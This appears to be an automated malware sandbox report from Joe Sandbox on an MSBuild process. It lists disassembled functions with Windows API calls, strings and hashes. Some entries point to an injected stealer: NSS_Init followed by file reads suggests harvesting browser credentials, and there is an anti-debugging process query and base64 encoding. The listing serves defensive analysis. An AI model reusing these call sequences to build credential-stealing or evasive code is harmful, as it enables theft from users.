Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 33bc91c24305f643f24cbb13f127bd2fdf8b0b2e09f4fc7a5e95c94ec67a8c36
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CBB1C572E0424ACBDB14CF58CC816ADB7B2EF85314F190279C549EBB85D731A989CB90

Function 6CC7AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e144ebb431207d44c3fa71c1824b5beddf123c44660edd18ea5a77ba5b7eb80b
Instruction ID: 2112fbc58488355d9982cdf7189f0dba2202d0bd70d34523f088a38868de7115
Opcode Fuzzy Hash: e144ebb431207d44c3fa71c1824b5beddf123c44660edd18ea5a77ba5b7eb80b
Instruction Fuzzy Hash: B8F1DF71E051568FEB14CF28C9563AAB7F8EB8A308F158229DA05D7F50F7749982CBD0

Function 00411E5D Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 6CBB8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6f030a1d419de3d6c17944a5136732d7bba7fcab1b893cf4a48e9a2612cc13
Instruction ID: 26ceb69bebfdb9d76cab5eb9685e17bb5bdc1f12d0b6b35f477a6629728cf8ad
Opcode Fuzzy Hash: 2d6f030a1d419de3d6c17944a5136732d7bba7fcab1b893cf4a48e9a2612cc13
Instruction Fuzzy Hash: B111B232A002568FEB04DF14D884B6AB3A5FF4131CF04466AE9059FE41CB76D886C7C2

Function 6CC90C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d592ec01966a4f2654b90fc81233b91eebab36bc1dc9ceb6c520a9178d0784
Instruction ID: d90c1ddb830b489f801154210242d61cf2b0f57f6795a3b04885d0c58db87c9b
Opcode Fuzzy Hash: 49d592ec01966a4f2654b90fc81233b91eebab36bc1dc9ceb6c520a9178d0784
Instruction Fuzzy Hash: 8D11A375B043459FDB00DF19C88066A7BB6FF89368F14846DD8198BB05EB71E906CBA1

Function 6CC90D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 28a73e68ba1e6472eb4c4a7883a7f48806664fc2c1f680b91a01fb244c51a7bc
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 31E06D3B202454A7DB188E09C450AA97359EF8A619FA480F9CC699BA01E633F9038781

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,75AA5460,?,00000000), ref: 0040DD04
HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 944c7dbbb483e652ea0c5082bda78fe99dba96f91c80018fac581aa229666c1c
Instruction ID: 55d57addeb693bec13dd2aca0e3f8bc9cd2252af75e58958267656c534a8cbc3
Opcode Fuzzy Hash: 944c7dbbb483e652ea0c5082bda78fe99dba96f91c80018fac581aa229666c1c
Instruction Fuzzy Hash: 36E14C72C00219ABEF249FF1DC48ADEBF79BF08305F1454AAF115B3152EA3A59849F54

Function 6CB055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CADE1A5), ref: 6CB05606
LoadLibraryW.KERNEL32(gdi32,?,6CADE1A5), ref: 6CB0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB057FF

Strings

RegisterClassW, xrefs: 6CB056AC
SetWindowLongPtrW, xrefs: 6CB057B7
GetSystemMetricsForDpi, xrefs: 6CB05677
ShowWindow, xrefs: 6CB056DE
LoadIconW, xrefs: 6CB0575B
ReleaseDC, xrefs: 6CB05742
AreDpiAwarenessContextsEqual, xrefs: 6CB05637
CreateSolidBrush, xrefs: 6CB057E4
SetWindowPos, xrefs: 6CB056F7
DeleteObject, xrefs: 6CB057F9
GetThreadDpiAwarenessContext, xrefs: 6CB0562D
StretchDIBits, xrefs: 6CB057CC
MonitorFromWindow, xrefs: 6CB0578D
FillRect, xrefs: 6CB05729
EnableNonClientDpiScaling, xrefs: 6CB05666
GetWindowDC, xrefs: 6CB05710
GetDpiForWindow, xrefs: 6CB05690
CreateWindowExW, xrefs: 6CB056C5
GetMonitorInfoW, xrefs: 6CB057A2
LoadCursorW, xrefs: 6CB05774
gdi32, xrefs: 6CB0560A
user32, xrefs: 6CB05601

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: cc887eb8b86120bed10533c62c63d2016577e1ee8857dc3d800e592ef144bf83
Instruction ID: c9f30597dff4a0ca827b7f053a63dcd8f919a56df14e10b5e7cc55a8d8ec72be
Opcode Fuzzy Hash: cc887eb8b86120bed10533c62c63d2016577e1ee8857dc3d800e592ef144bf83
Instruction Fuzzy Hash: 36512C747113969B9B00AF358D5493A3BBCFF0A2567144829AD26E3E15EF7CCC048F69

Function 6CAECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAB582D), ref: 6CAECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAB582D), ref: 6CAECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB1FE98,?,?,?,?,?,6CAB582D), ref: 6CAECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB582D), ref: 6CAECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAECE8A

Strings

ipcmessages, xrefs: 6CAECDBE
stackwalk, xrefs: 6CAECCF8
nostacksampling, xrefs: 6CAECD7C
fileio, xrefs: 6CAECC92
unregisteredthreads, xrefs: 6CAECE58
nativeallocations, xrefs: 6CAECDA8
preferencereads, xrefs: 6CAECD92
notimerresolutionchange, xrefs: 6CAECE00
samplingallthreads, xrefs: 6CAECE2C
cpuallthreads, xrefs: 6CAECE16
jsallocations, xrefs: 6CAECD0E
power, xrefs: 6CAECE84
fileioall, xrefs: 6CAECCA8
noiostacks, xrefs: 6CAECCBE
markersallthreads, xrefs: 6CAECE42
seqstyle, xrefs: 6CAECCE6
mainthreadio, xrefs: 6CAECC7C
Unrecognized feature "%s"., xrefs: 6CAECEA0
processcpu, xrefs: 6CAECE6E
default, xrefs: 6CAECC21
java, xrefs: 6CAECC37
audiocallbacktracing, xrefs: 6CAECDD4
screenshots, xrefs: 6CAECCD4
leaf, xrefs: 6CAECC66

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 75f3641be57fa04a8223b51277995e3404101f0b21fca90ac6778087d626ca30
Instruction ID: 71e6ccdbc32fda22d1d9ae652ddf012ff3242f793530fd454bee57f74340a94f
Opcode Fuzzy Hash: 75f3641be57fa04a8223b51277995e3404101f0b21fca90ac6778087d626ca30
Instruction Fuzzy Hash: E951B8E59492E512FE0430193D60BEF1C08EB5B25EF141436ED09A2E80FB1A979996F7

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004373A4,0043680F), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
